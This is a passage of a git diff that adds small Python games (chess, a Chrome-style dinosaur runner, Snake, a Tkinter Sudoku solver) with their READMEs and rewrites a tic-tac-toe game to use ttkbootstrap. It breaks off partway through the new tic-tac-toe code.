(pos.row + pos.col) % 2 == 0 + else theme.trace.dark + ) + # rect + rect = (pos.col * SQSIZE, pos.row * SQSIZE, SQSIZE, SQSIZE) + # blit + pygame.draw.rect(surface, color, rect) + + def show_hover(self, surface): + if self.hovered_sqr: + # color + color = (180, 180, 180) + # rect + rect = ( + self.hovered_sqr.col * SQSIZE, + self.hovered_sqr.row * SQSIZE, + SQSIZE, + SQSIZE, + ) + # blit + pygame.draw.rect(surface, color, rect, width=3) + + def next_turn(self): + self.next_player = "white" if self.next_player == "black" else "black" + + def set_hover(self, row, col): + if 0 <= row < ROWS and 0 <= col < COLS: + self.hovered_sqr = self.board.squares[row][col] + else: + # Handle the case where the indices are out of range + # print(f"Invalid indices: row={row}, col={col}") + self.hovered_sqr = None + + def change_theme(self): + self.config.change_theme() + + def play_sound(self, captured=False): + if captured: + self.config.capture_sound.play() + else: + self.config.move_sound.play() + + def reset(self): + self.__init__() diff --git a/GAMES/chess/src/main.py b/GAMES/chess/src/main.py new file mode 100644 index 00000000..6d7293a0 --- /dev/null +++ b/GAMES/chess/src/main.py @@ -0,0 +1,126 @@ +import pygame +import sys + +from const import * +from game import Game +from square import Square +from move import Move + + +class Main: + def __init__(self): + pygame.init() + self.screen = pygame.display.set_mode((WIDTH, HEIGHT)) + pygame.display.set_caption("Chess") + self.game = Game() + + def mainloop(self): + screen = self.screen + game = self.game + board = self.game.board + dragger = self.game.dragger + + while True: + # display methods + game.show_bg(screen) + game.show_last_move(screen) + game.show_moves(screen) + game.show_pieces(screen) + + game.show_hover(screen) + + if dragger.dragging: + dragger.update_blit(screen) + + for event in pygame.event.get(): + # click + if event.type == pygame.MOUSEBUTTONDOWN: + dragger.update_mouse(event.pos) + # print(event.pos) + + clicked_row = dragger.mouseY // SQSIZE + clicked_col = dragger.mouseX // SQSIZE + + # print(dragger.mouseY, clicked_row) + # print(dragger.mouseX, clicked_col) + + # if clicked square has a piece + if board.squares[clicked_row][clicked_col].has_piece(): + piece = board.squares[clicked_row][clicked_col].piece + if piece.color == game.next_player: + board.calc_moves(piece, clicked_row, clicked_col, bool=True) + dragger.save_initial(event.pos) + dragger.drag_piece(piece) + # display methods + game.show_bg(screen) + game.show_last_move(screen) + game.show_moves(screen) + game.show_pieces(screen) + + # dragging the pieces + elif event.type == pygame.MOUSEMOTION: + motion_row = event.pos[1] // SQSIZE + motion_col = event.pos[0] // SQSIZE + game.set_hover(motion_row, motion_col) + if dragger.dragging: + dragger.update_mouse(event.pos) + # display methods + game.show_bg(screen) + game.show_last_move(screen) + game.show_moves(screen) + game.show_pieces(screen) + game.show_hover(screen) + dragger.update_blit(screen) + + # mouse release + elif event.type == pygame.MOUSEBUTTONUP: + if dragger.dragging: + dragger.update_mouse(event.pos) + released_row = dragger.mouseY // SQSIZE + released_col = dragger.mouseX // SQSIZE + + initial = Square(dragger.initial_row, dragger.initial_col) + final = Square(released_row, released_col) + move = Move(initial, final) + + if board.valid_move(dragger.piece, move): + captured = board.squares[released_row][ + released_col + ].has_piece() + + board.move(dragger.piece, move) + board.set_true_en_passant(dragger.piece) + game.play_sound(captured) + # display move methods + game.show_bg(screen) + game.show_last_move(screen) + game.show_pieces(screen) + + # next turn + game.next_turn() + + dragger.undrag_piece() + + # key press + elif event.type == pygame.KEYDOWN: + # change themes + if event.key == pygame.K_t: + game.change_theme() + + # restart event + if event.key == pygame.K_r: + game.reset() + game = self.game + board = self.game.board + dragger = self.game.dragger + + # quit application + elif event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + pygame.display.update() + + +main = Main() +main.mainloop() diff --git a/GAMES/chess/src/move.py b/GAMES/chess/src/move.py new file mode 100644 index 00000000..1ce2b199 --- /dev/null +++ b/GAMES/chess/src/move.py @@ -0,0 +1,14 @@ +class Move: + def __init__(self, initial, final): + # initial and final are squares + self.initial = initial + self.final = final + + def __str__(self): + s = "" + s += f"({self.initial.col}, {self.initial.row})" + s += f" -> ({self.final.col}, {self.final.row})" + return s + + def __eq__(self, other): + return self.initial == other.initial and self.final == other.final diff --git a/GAMES/chess/src/piece.py b/GAMES/chess/src/piece.py new file mode 100644 index 00000000..0e60a856 --- /dev/null +++ b/GAMES/chess/src/piece.py @@ -0,0 +1,60 @@ +import os + + +class Piece: + def __init__(self, name, color, value, texture=None, texture_rect=None): + self.name = name + self.color = color + + value_sign = 1 if color == "white" else -1 + self.value = value * value_sign + self.moves = [] + self.moved = False + self.texture = texture + self.set_texture() + self.texture_rect = texture_rect + + def set_texture(self, size=80): + self.texture = os.path.join( + f"assets/images/imgs-{size}px/{self.color}_{self.name}.png" + ) + + def add_move(self, move): + self.moves.append(move) + + def clear_moves(self): + self.moves = [] + + +class Pawn(Piece): + def __init__(self, color): + self.dir = -1 if color == "white" else 1 + self.en_passant = False + super().__init__("pawn", color, 1.0) + + +class Knight(Piece): + def __init__(self, color): + super().__init__("knight", color, 3.0) + + +class Bishop(Piece): + def __init__(self, color): + super().__init__("bishop", color, 3.001) + + +class Rook(Piece): + def __init__(self, color): + super().__init__("rook", color, 5.0) + + +class Queen(Piece): + def __init__(self, color): + super().__init__("queen", color, 9.0) + + +class King(Piece): + def __init__(self, color): + self.left_rook = None + self.right_rook = None + super().__init__("King", color, 100000.0) diff --git a/GAMES/chess/src/sound.py b/GAMES/chess/src/sound.py new file mode 100644 index 00000000..33f7fa4f --- /dev/null +++ b/GAMES/chess/src/sound.py @@ -0,0 +1,10 @@ +import pygame + + +class Sound: + def __init__(self, path): + self.path = path + self.sound = pygame.mixer.Sound(path) + + def play(self): + pygame.mixer.Sound.play(self.sound) diff --git a/GAMES/chess/src/square.py b/GAMES/chess/src/square.py new file mode 100644 index 00000000..61dbdb40 --- /dev/null +++ b/GAMES/chess/src/square.py @@ -0,0 +1,39 @@ +class Square: + ALPHACOLS = {0: "a", 1: "b", 2: "c", 3: "d", 4: "e", 5: "f", 6: "g", 7: "h"} + + def __init__(self, row, col, piece=None): + self.row = row + self.col = col + self.piece = piece + self.alphacol = self.ALPHACOLS[col] + + def __eq__(self, other): + return self.row == other.row and self.col == other.col + + def has_piece(self): + return self.piece != None + + def isempty(self): + return not self.has_piece() + + def has_team_piece(self, color): + return self.has_piece() and self.piece.color == color + + def has_enemy_piece(self, color): + return self.has_piece() and self.piece.color != color + + def isempty_or_enemy(self, color): + return self.isempty() or self.has_enemy_piece(color) + + @staticmethod + def in_range(*args): + for arg in args: + if arg < 0 or arg > 7: + return False + + return True + + @staticmethod + def get_alphacol(col): + ALPHACOLS = {0: "a", 1: "b", 2: "c", 3: "d", 4: "e", 5: "f", 6: "g", 7: "h"} + return ALPHACOLS[col] diff --git a/GAMES/chess/src/theme.py b/GAMES/chess/src/theme.py new file mode 100644 index 00000000..cfcc86ab --- /dev/null +++ b/GAMES/chess/src/theme.py @@ -0,0 +1,10 @@ +from color import Color + + +class Theme: + def __init__( + self, light_bg, dark_bg, light_trace, dark_trace, light_moves, dark_moves + ): + self.bg = Color(light_bg, dark_bg) + self.trace = Color(light_trace, dark_trace) + self.moves = Color(light_moves, dark_moves) diff --git a/GAMES/dino-game/README.md b/GAMES/dino-game/README.md new file mode 100644 index 00000000..b193d353 --- /dev/null +++ b/GAMES/dino-game/README.md @@ -0,0 +1,56 @@ +# Dino Game + +## Description + +Dino Game is a simple yet addictive game built using Python and Pygame library. It's inspired by the classic Chrome Dinosaur game, where the player controls a dinosaur that must jump over obstacles to survive. The game features a dinosaur character, cactus obstacles, and a score system. I have created a simple clone of the game. Feel free to look through the code and run it. + +## Features + +- Control a dinosaur character to jump over obstacles. +- Dodge incoming cactus obstacles to survive. +- Track and display the player's score as they progress through the game. +- Simple controls: Press the spacebar to make the dinosaur jump. +- Press Enter to restart the game after a game over. + +## Installation + +1. Ensure you have Python installed on your system. You can download it from [python.org](https://www.python.org/). +2. Clone this repository to your local machine: + +``` +git clone https://github.com/sahilrw/dino +``` + +3. Navigate to the project directory: + +``` +cd dino-game +``` + +4. Install the required dependencies using pip: + +``` +pip install pygame +``` + +## Usage + +1. Run the game by executing the following command: + +``` +python dino.py +``` + +2. Use the spacebar to make the dinosaur jump over obstacles. +3. Avoid colliding with cactus obstacles to keep the game going. +4. Your score will increase as you progress. Try to beat your high score! +5. If the dinosaur collides with an obstacle, the game will end. Press Enter to restart and play again. + +## Screenshots + +![Dino Game Screenshot](screenshot.png) +![Dino Game Screenshot](gameover.png) + +## Credits + +- This game was created by Sahil Wankhade. diff --git a/GAMES/dino-game/assets/images/bg.png b/GAMES/dino-game/assets/images/bg.png new file mode 100644 index 00000000..a2a8371b Binary files /dev/null and b/GAMES/dino-game/assets/images/bg.png differ diff --git a/GAMES/dino-game/assets/images/cactus.png b/GAMES/dino-game/assets/images/cactus.png new file mode 100644 index 00000000..648f2c26 Binary files /dev/null and b/GAMES/dino-game/assets/images/cactus.png differ diff --git a/GAMES/dino-game/assets/images/dino0.png b/GAMES/dino-game/assets/images/dino0.png new file mode 100644 index 00000000..29c83eef Binary files /dev/null and b/GAMES/dino-game/assets/images/dino0.png differ diff --git a/GAMES/dino-game/assets/images/dino1.png b/GAMES/dino-game/assets/images/dino1.png new file mode 100644 index 00000000..0a4ea2c2 Binary files /dev/null and b/GAMES/dino-game/assets/images/dino1.png differ diff --git a/GAMES/dino-game/assets/images/dino2.png b/GAMES/dino-game/assets/images/dino2.png new file mode 100644 index 00000000..8a2226b2 Binary files /dev/null and b/GAMES/dino-game/assets/images/dino2.png differ diff --git a/GAMES/dino-game/assets/sounds/die.wav b/GAMES/dino-game/assets/sounds/die.wav new file mode 100644 index 00000000..77d14031 Binary files /dev/null and b/GAMES/dino-game/assets/sounds/die.wav differ diff --git a/GAMES/dino-game/assets/sounds/jump.wav b/GAMES/dino-game/assets/sounds/jump.wav new file mode 100644 index 00000000..aa4a3d72 Binary files /dev/null and b/GAMES/dino-game/assets/sounds/jump.wav differ diff --git a/GAMES/dino-game/assets/sounds/point.wav b/GAMES/dino-game/assets/sounds/point.wav new file mode 100644 index 00000000..b6936f0d Binary files /dev/null and b/GAMES/dino-game/assets/sounds/point.wav differ diff --git a/GAMES/dino-game/dino.py b/GAMES/dino-game/dino.py new file mode 100644 index 00000000..4346ded5 --- /dev/null +++ b/GAMES/dino-game/dino.py @@ -0,0 +1,287 @@ +import os +import sys +import math +import random +import pygame + +WIDTH = 623 +HEIGHT = 150 + +pygame.init() +pygame.mixer.init() +pygame.mixer.init(frequency=44100, size=-16, channels=2, buffer=512) +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Dino Game") + + +class BG: + def __init__(self, x): + self.width = WIDTH + self.height = HEIGHT + self.x = x + self.y = 0 + self.set_texture() + self.show() + + def update(self, dx): + self.x += dx + if self.x <= -WIDTH: + self.x = WIDTH + + def show(self): + screen.blit(self.texture, (self.x, self.y)) + + def set_texture(self): + path = os.path.join("assets/images/bg.png") + self.texture = pygame.image.load(path) + self.texture = pygame.transform.scale(self.texture, (self.width, self.height)) + + +class Dino: + def __init__(self): + self.width = 44 + self.height = 44 + self.x = 10 + self.y = 80 + self.texture_num = 0 + self.dy = 2.6 + self.gravity = 1.2 + self.onground = True + self.jumping = False + self.jump_stop = 10 + self.falling = False + self.fall_stop = self.y + self.set_texture() + self.set_sound() + self.show() + + def update(self, loops): + # dino jump + if self.jumping: + self.y -= self.dy + if self.y <= self.jump_stop: + self.fall() + + # dino onground after jump + elif self.falling: + self.y += self.gravity * self.dy + if self.y >= self.fall_stop: + self.stop() + + # dino moving(running) + elif self.onground and loops % 4 == 0: + self.texture_num = (self.texture_num + 1) % 3 + self.set_texture() + + def show(self): + screen.blit(self.texture, (self.x, self.y)) + + def set_texture(self): + path = os.path.join(f"assets/images/dino{self.texture_num}.png") + self.texture = pygame.image.load(path) + self.texture = pygame.transform.scale(self.texture, (self.width, self.height)) + + def set_sound(self): + path = os.path.join("assets/sounds/jump.wav") + self.sound = pygame.mixer.Sound(path) + + def jump(self): + self.sound.play() + self.jumping = True + self.onground = False + + def fall(self): + self.jumping = False + self.falling = True + + def stop(self): + self.falling = False + self.onground = True + + +class Cactus: + def __init__(self, x): + self.width = 34 + self.height = 44 + self.x = x + self.y = 80 + self.set_texture() + self.show() + + def update(self, dx): + self.x += dx + + def show(self): + screen.blit(self.texture, (self.x, self.y)) + + def set_texture(self): + path = os.path.join("assets/images/cactus.png") + self.texture = pygame.image.load(path) + self.texture = pygame.transform.scale(self.texture, (self.width, self.height)) + + +class Collision: + def between(self, obj1, obj2): + distance = math.sqrt((obj1.x - obj2.x) ** 2 + (obj1.y - obj2.y) ** 2) + return distance < 35 + + +class Score: + def __init__(self, hs): + self.hs = hs + self.act = 0 + self.font = pygame.font.SysFont("monospace", 20) + self.color = (0, 0, 0) + self.set_sound() + self.show() + + def update(self, loops): + self.act = loops // 10 + self.check_hs() + self.check_sound() + + def show(self): + self.lbl = self.font.render(f"HI {self.hs} {self.act}", 1, self.color) + lbl_width = self.lbl.get_rect().width + screen.blit(self.lbl, (WIDTH - lbl_width - 10, 10)) + + def set_sound(self): + path = os.path.join("assets/sounds/point.wav") + self.sound = pygame.mixer.Sound(path) + + def check_hs(self): + if self.act >= self.hs: + self.hs = self.act + + def check_sound(self): + if self.act % 100 == 0 and self.act != 0: + self.sound.play() + + +class Game: + def __init__(self, hs=0): + self.bg = [BG(x=0), BG(x=WIDTH)] + self.dino = Dino() + self.obstacles = [] + self.collision = Collision() + self.score = Score(hs) + self.speed = 3 + self.playing = False + self.set_sound() + self.set_labels() + self.spawn_cactus() + + def set_labels(self): + big_font = pygame.font.SysFont("monospace", 26, bold=True) + small_font = pygame.font.SysFont("monospace", 20) + self.big_lbl = big_font.render(f"G A M E O V E R", 1, (0, 0, 0)) + self.small_lbl = small_font.render(f"Press Enter to Restart", 1, (0, 0, 0)) + + def set_sound(self): + path = os.path.join("assets/sounds/die.wav") + self.sound = pygame.mixer.Sound(path) + + def start(self): + self.playing = True + + def over(self): + self.sound.play() + screen.blit( + self.big_lbl, (WIDTH // 2 - self.big_lbl.get_width() // 2, HEIGHT // 4) + ) + screen.blit( + self.small_lbl, + (WIDTH // 2 - self.small_lbl.get_width() // 2, HEIGHT // 2), + ) + self.playing = False + + def tospawn(self, loops): + return loops % 100 == 0 + + def spawn_cactus(self): + # list with cactus + if len(self.obstacles) > 0: + prev_cactus = self.obstacles[-1] + # 44 pixels is width of dino + # 84 pixels is random value for dino to jump between two cactus without dying + x = random.randint( + prev_cactus.x + self.dino.width + 130, + WIDTH + prev_cactus.x + self.dino.width + 100, + ) + else: + x = random.randint(WIDTH + 100, 1000) + + # create new cactus + cactus = Cactus(x) + self.obstacles.append(cactus) + + def restart(self): + self.__init__(hs=self.score.hs) + + +def main(): + # Objects + game = Game() + dino = game.dino + + clock = pygame.time.Clock() + loops = 0 + over = False + + while True: + if game.playing: + loops += 1 + + # Code to display Background + for bg in game.bg: + bg.update(-game.speed) + bg.show() + + # Code to display Dino + dino.update(loops) + dino.show() + + # Code to display Cactus + if game.tospawn(loops): + game.spawn_cactus() + + for cactus in game.obstacles: + cactus.update(-game.speed) + cactus.show() + + # logic for collisions + if game.collision.between(dino, cactus): + over = True + + if over: + game.over() + + # score + game.score.update(loops) + game.score.show() + + for event in pygame.event.get(): + # end the game on clicking quit button + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + if event.type == pygame.KEYDOWN: + if event.key == pygame.K_SPACE: + if not over: + if dino.onground: + dino.jump() + + if not game.playing: + game.start() + + if event.key == pygame.K_RETURN: + game.restart() + dino = game.dino + loops = 0 + over = False + + clock.tick(120) + pygame.display.update() + + +main() diff --git a/GAMES/dino-game/gameover.png b/GAMES/dino-game/gameover.png new file mode 100644 index 00000000..c28aa75e Binary files /dev/null and b/GAMES/dino-game/gameover.png differ diff --git a/GAMES/dino-game/screenshot.png b/GAMES/dino-game/screenshot.png new file mode 100644 index 00000000..b5048255 Binary files /dev/null and b/GAMES/dino-game/screenshot.png differ diff --git a/GAMES/snakeGame/Readme.md b/GAMES/snakeGame/Readme.md new file mode 100644 index 00000000..25c3247b --- /dev/null +++ b/GAMES/snakeGame/Readme.md @@ -0,0 +1,67 @@ +# Snake Game + +A classic Snake Game implemented in Python using the Pygame library. + +![Gameplay](game.png) + +## Table of Contents + +- [Description](#description) +- [Features](#features) +- [Installation](#installation) +- [How to Play](#how-to-play) +- [Controls](#controls) +- [Contributing](#contributing) + +## Description + +This is a simple implementation of the classic Snake Game using Python and Pygame. The game starts with a single snake that you control using arrow keys or WASD keys. Your goal is to eat the brown squares (food) to grow longer while avoiding collisions with the game boundaries and the snake's own body. The game ends if you run into a wall or collide with yourself. + +## Features + +- Classic Snake Game experience. +- Simple and intuitive controls. +- Score tracking to see how well you've done. +- Game over screen with your final score. + +## Installation + +1. Clone the repository: + + ``` + git clone https://github.com/sahilrw/snake-game.git + ``` + +2. Navigate to the project directory: + + ``` + cd snake-game + ``` + +3. Install the required dependencies: + + ``` + pip install pygame + ``` + +4. Run the game: + + ``` + python snakeGame.py + ``` + +## How to Play + +- Use the arrow keys (Up, Down, Left, Right) or WASD keys (W, A, S, D) to control the snake's direction. +- Eat the brown squares (food) to grow longer. +- Avoid running into the game boundaries or colliding with the snake's own body. +- Try to achieve the highest score possible before the game ends. + +## Controls + +- Arrow Keys (Up, Down, Left, Right) or +- WASD Keys (W, A, S, D) + +## Contributing + +Contributions are welcome! If you find any issues or have suggestions for improvement, please open an issue or create a pull request. diff --git a/GAMES/snakeGame/game.png b/GAMES/snakeGame/game.png new file mode 100644 index 00000000..eabb8978 Binary files /dev/null and b/GAMES/snakeGame/game.png differ diff --git a/GAMES/snakeGame/snakeGame.py b/GAMES/snakeGame/snakeGame.py new file mode 100644 index 00000000..3192e6e8 --- /dev/null +++ b/GAMES/snakeGame/snakeGame.py @@ -0,0 +1,132 @@ +# Snake Game! + +# Game imports +import pygame, sys, random, time + +check_errors = pygame.init() +if check_errors[1] > 0: + print("(!) Had {0} initializing errors, exiting...".format(check_errors[1])) + sys.exit(-1) +else: + print("(+) PyGame successfully initialized") + + +# Play Surface +playSurface = pygame.display.set_mode((720, 700)) +pygame.display.set_caption("Snake Game!") +# time.sleep(5) + +# Colors +red = pygame.Color(255, 0, 0) # gameover +green = pygame.Color(0, 255, 0) # snake +black = pygame.Color(0, 0, 0) # score +white = pygame.Color(255, 255, 255) # background +brown = pygame.Color(165, 42, 42) # food + +# FPS controller +fpsController = pygame.time.Clock() + +# Position of the snake +snakePos = [100, 50] +snakeBody = [[100, 50], [90, 50], [80, 50]] + +foodPos = [random.randrange(1, 72) * 10, random.randrange(1, 70) * 10] +foodSpawn = True + +direction = "RIGHT" +changeto = direction + +score = 0 + + +# Game over function +def gameOver(): + myFont = pygame.font.SysFont("monaco", 72) + GOsurf = myFont.render("Game over!", False, red) + GOrect = GOsurf.get_rect() + GOrect.midtop = (360, 150) + playSurface.blit(GOsurf, GOrect) + showScore(0) + pygame.display.flip() + time.sleep(5) + pygame.quit() # for exiting pygame + sys.exit() # for exiting from the console + + +def showScore(choice=1): + scoreFont = pygame.font.SysFont("monaco", 25) + scoreSurf = scoreFont.render("Score : {0}".format(score), True, black) + scoreRect = scoreSurf.get_rect() + if choice == 1: + scoreRect.midtop = (80, 10) + else: + scoreRect.midtop = (360, 120) + playSurface.blit(scoreSurf, scoreRect) + + +# Main Logic of the game +while True: + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + elif event.type == pygame.KEYDOWN: + if event.key == pygame.K_RIGHT or event.key == ord("d"): + changeto = "RIGHT" + if event.key == pygame.K_LEFT or event.key == ord("a"): + changeto = "LEFT" + if event.key == pygame.K_UP or event.key == ord("w"): + changeto = "UP" + if event.key == pygame.K_DOWN or event.key == ord("s"): + changeto = "DOWN" + if event.key == pygame.K_ESCAPE: + pygame.event.post(pygame.event.Event(pygame.QUIT)) + + # validation of direction + if changeto == "RIGHT" and not direction == "LEFT": + direction = "RIGHT" + if changeto == "LEFT" and not direction == "RIGHT": + direction = "LEFT" + if changeto == "UP" and not direction == "DOWN": + direction = "UP" + if changeto == "DOWN" and not direction == "UP": + direction = "DOWN" + + # Update snake position [x, y] + if direction == "RIGHT": + snakePos[0] += 10 + if direction == "LEFT": + snakePos[0] -= 10 + if direction == "UP": + snakePos[1] -= 10 + if direction == "DOWN": + snakePos[1] += 10 + + # Snake body mechanism + snakeBody.insert(0, list(snakePos)) + if snakePos[0] == foodPos[0] and snakePos[1] == foodPos[1]: + score += 1 + foodSpawn = False + else: + snakeBody.pop() + + if foodSpawn == False: + foodPos = [random.randrange(1, 72) * 10, random.randrange(1, 70) * 10] + foodSpawn = True + + playSurface.fill(white) + for pos in snakeBody: + pygame.draw.rect(playSurface, green, pygame.Rect(pos[0], pos[1], 10, 10)) + + pygame.draw.rect(playSurface, brown, pygame.Rect(foodPos[0], foodPos[1], 10, 10)) + if snakePos[0] > 710 or snakePos[0] < 0: + gameOver() + if snakePos[1] > 690 or snakePos[1] < 0: + gameOver() + + for block in snakeBody[1:]: + if snakePos[0] == block[0] and snakePos[1] == block[1]: + gameOver() + showScore() + pygame.display.flip() + fpsController.tick(18) diff --git a/GAMES/sudoku_solver/readme.md b/GAMES/sudoku_solver/readme.md new file mode 100644 index 00000000..c4730c4f --- /dev/null +++ b/GAMES/sudoku_solver/readme.md @@ -0,0 +1,28 @@ +## Sudoku Solver GUI + +# Overview +This is a simple Sudoku Solver implemented in Python with a graphical user interface (GUI) using the Tkinter library. The Sudoku Solver allows you to input a Sudoku puzzle and then solves it using a backtracking algorithm. You can visualize the solution step by step on the GUI. + +# Features +Interactive GUI: The Sudoku Solver features a user-friendly interface built with Tkinter, allowing you to input Sudoku puzzles and visualize the solution. +Backtracking Algorithm: The Sudoku Solver uses a backtracking algorithm to find the solution to the input puzzle. +Step-by-Step Solution: You can click the "Solve" button to start solving the Sudoku puzzle step by step, and observe how the solver fills in the cells. + +# How to Run +Make sure you have Python installed on your system. +Clone this repository or download the sudoku_solver.py file. +Open a terminal or command prompt and navigate to the directory containing sudoku_solver.py. +Run the command python sudoku_solver.py. +The Sudoku Solver GUI window will open, allowing you to input Sudoku puzzles and visualize the solution. + +# How to Use +When the Sudoku Solver GUI window opens, you'll see a 9x9 grid representing the Sudoku puzzle. +enter value row by row in terminal ,empty space is denote by '0'. +After entering the puzzle, click the "Solve" button to start solving the Sudoku puzzle. +You can observe how the solver fills in the cells step by step. Once the puzzle is solved, you'll see the complete solution on the GUI. +Additional Notes +The Sudoku Solver uses a backtracking algorithm to find the solution to the puzzle. It tries different numbers in each cell and backtracks if it reaches a dead-end. +You can input any valid Sudoku puzzle into the solver, and it will find the solution if one exists. +If there are multiple solutions to the puzzle, the solver will find one of them. +The GUI provides visual feedback on the solution process, making it easy to understand how the solver works. +Enjoy using the Sudoku Solver GUI! \ No newline at end of file diff --git a/GAMES/sudoku_solver/sudoku_solver.py b/GAMES/sudoku_solver/sudoku_solver.py new file mode 100644 index 00000000..1047dc5c --- /dev/null +++ b/GAMES/sudoku_solver/sudoku_solver.py @@ -0,0 +1,88 @@ +import tkinter as tk + +class SudokuSolverGUI: + def __init__(self, master): + self.master = master + self.master.title("Sudoku Solver") + self.board = [[0 for _ in range(9)] for _ in range(9)] + self.input_sudoku() + self.create_widgets() + + def input_sudoku(self): + print("Enter the Sudoku puzzle values row by row:") + for i in range(9): + row_input = input().split() + for j in range(9): + self.board[i][j] = int(row_input[j]) + + def create_widgets(self): + self.canvas = tk.Canvas(self.master, width=450, height=450, bg="white") + self.canvas.pack() + + for i in range(10): + line_width = 2 if i % 3 == 0 else 1 + self.canvas.create_line(50 * i, 0, 50 * i, 450, width=line_width) + self.canvas.create_line(0, 50 * i, 450, 50 * i, width=line_width) + + for i in range(9): + for j in range(9): + value = self.board[i][j] + if value != 0: + x, y = j * 50 + 25, i * 50 + 25 + self.canvas.create_text(x, y, text=str(value), font=("Arial", 14, "bold")) + + self.solve_button = tk.Button(self.master, text="Solve", command=self.solve_sudoku) + self.solve_button.pack() + + def solve_sudoku(self): + self.solve_button.config(state="disabled") + self.solve() + + def solve(self): + empty_cell = self.find_empty_cell() + if not empty_cell: + self.solve_button.config(state="normal") + return True + + row, col = empty_cell + for num in range(1, 10): + if self.is_valid_move(num, row, col): + self.board[row][col] = num + self.update_cell(row, col, num) + if self.solve(): + return True + self.board[row][col] = 0 + self.update_cell(row, col, 0) + return False + + def find_empty_cell(self): + for i in range(9): + for j in range(9): + if self.board[i][j] == 0: + return i, j + return None + + def is_valid_move(self, num, row, col): + for i in range(9): + if self.board[row][i] == num or self.board[i][col] == num: + return False + start_row, start_col = 3 * (row // 3), 3 * (col // 3) + for i in range(start_row, start_row + 3): + for j in range(start_col, start_col + 3): + if self.board[i][j] == num: + return False + return True + + def update_cell(self, row, col, num): + x, y = col * 50 + 25, row * 50 + 25 + self.canvas.delete(f"number_{row}_{col}") + if num != 0: + self.canvas.create_text(x, y, text=str(num), font=("Arial", 14, "bold"), tags=f"number_{row}_{col}") + +def main(): + root = tk.Tk() + app = SudokuSolverGUI(root) + root.mainloop() + +if __name__ == "__main__": + main() diff --git a/GAMES/tic_tac_toe/README.md b/GAMES/tic_tac_toe/README.md index e3508541..b1842c23 100644 --- a/GAMES/tic_tac_toe/README.md +++ b/GAMES/tic_tac_toe/README.md @@ -1,35 +1,40 @@ -# Tic Tac Toe +# Tic Tac Toe with ttkbootstrap and pygame -Tic Tac Toe is a popular game for two players, X and O, who take turns marking the spaces in a 3×3 grid. -The player who succeeds in placing three of their marks in a diagonal, horizontal, -or vertical row is the winner. +Simple and good looking tic tac toe game including sound. The game is only for 2 player, sadly I am not ready +enough to add the AI boot (I don't want to add the random boot :) ) -For more information about the the game, check [here](https://en.wikipedia.org/wiki/Tic-tac-toe). +## Description -The game was implemented in Python, using **Numpy** library. +The game is made only in ttkboostrap and some little pygame for the sound. You can customize this game as you +want. The main thing you can do is to change the color and many things. To see them check the OPTION part. -## How to launch -first you need to install *numpy*:\ -`pip install -r requirements.txt`\ -then you can directly launch the main script:\ -`python main.py` +## Installation -good luck :) +Use the package manager [pip](https://pip.pypa.io/en/stable/) to +install [ttkboostrap](https://ttkbootstrap.readthedocs.io/en/latest/) and the [pygame ](https://www.pygame.org/news) +```bash +pip install ttkboostrap +``` -#### Game Sample -each play, in turn, will choose one of the available positions by -entering the corresponding number. Numbers are 0-8 from going from top-left -to bottom-right corner. +```bash +pip install pygame +``` -*start* +## Option -![Start](media/start.JPG) +The configuration.py file is made in that the information is stored in dictionary/hash-map or like json file. +In this way is very easy to change the color, the font and kind of everthing you want :/ (so be carefull) -*first move* +## Visual -![first-move](media/first-move.JPG) +![Tic_Tac_Toe.png](media%2FTic_Tac_Toe.png) -*winner* +## Contributing -![winner](media/winner.JPG) \ No newline at end of file +Pull request are wellcome, if you have any advice I am open. If you know to add the AI boot, I will very happy +to add to my code + +## License + +[GNU GPLv3](https://choosealicense.com/licenses/gpl-3.0/) diff --git a/GAMES/tic_tac_toe/main.py b/GAMES/tic_tac_toe/main.py index 8d03769c..f375f308 100644 --- a/GAMES/tic_tac_toe/main.py +++ b/GAMES/tic_tac_toe/main.py @@ -1,60 +1,206 @@ -import numpy as np - - -grid = np.full((3,3), '-') -cells = {'0': (0,0), '1': (0,1), '2': (0,2), - '3': (1,0), '4': (1,1), '5': (1,2), - '6': (2,0), '7': (2,1), '8': (2,2)} - -diagonal_1 = [0,1,2], [0,1,2] # main diagonal -diagonal_2 = [0,1,2], [2,1,0] # reverse diagonal -ver_hor_lines = {'v1': grid[:,0], 'v2': grid[:,1], 'v3': grid[:,2], # verticals - 'h1': grid[0,:], 'h2': grid[1,:], 'h3': grid[2,:]} # horizontals - -player = '' -turn = 1 -free_spots = ['0', '1', '2', '3', '4', '5', '6', '7', '8'] -spot = '' - -while True: - # printing the grid - for el in grid: - print(' '.join(el.astype(str))) - - # check if player won - if np.all(grid[diagonal_1] == player) or np.all(grid[diagonal_2] == player): - print(f"player {player.upper()}, you won !") - quit() - for line in ver_hor_lines: - if np.all(ver_hor_lines[line] == player): - print(f"player {player.upper()}, you won !") - quit() - print('available positions: {}'.format(' '.join(free_spots))) - - # check if game ended as a tie - if not free_spots: - print('END GAME: TIE') - break - - # update the player - if turn % 2 == 0: - player = 'o' - else: - player = 'x' - - # ask the input - spot = input('player {}, enter a position: '.format(player.upper())) - # entering 'out' will end the game at anytime - if spot == 'out': - quit() - # check if input is valid - if spot in free_spots: - # update the grid - position = cells[spot] - grid[position] = player - free_spots.remove(spot) - turn += 1 - else: - print('not valid. Enter again.') - - print() \ No newline at end of file +import os +import sys +import ttkbootstrap as ttk + +from tkinter import IntVar +from widgets import BoardGame, BoardScore +from configuration import ( + # layout + MAIN_SIZE, BOARD_GAME, BOARD_SCORE, RESET_BUTTON, + # style + FRAME_STYLE_SCORE, FRAME_STYLE_GAME, BUTTON_BOARD_STYLE, BUTTON_RESET_STYLE, LABEL_SCORE_STYLE, + ) + +# import the modules for windows (it works only on windows) + +try: + from ctypes import windll, byref, sizeof, c_int +except Exception: + pass + + +def path_resource(relative_path: str) -> str: + """ + it take the relative path and return the absolute path of the file from your system, is used for making the + app into a exe file for window + + """ + try: + base_path: str = sys._MEIPASS + except Exception: + base_path = os.path.abspath('.') + return os.path.join(base_path, relative_path) + + +class TicTacToe(ttk.Window): + + player_1: IntVar + player_2: IntVar + tie_score: IntVar + + def __init__(self): + super().__init__() + + self.bind('', lambda event: self.destroy()) + self.title('') + self.set_emtpy_icon() + self.set_title_bar_color() + self.set_window_size(width = MAIN_SIZE[0], height = MAIN_SIZE[1]) + + # set up the style + self.Style = ttk.Style(theme = 'darkly') + + # style for the score/ board_score + self.Style.configure( + + background = 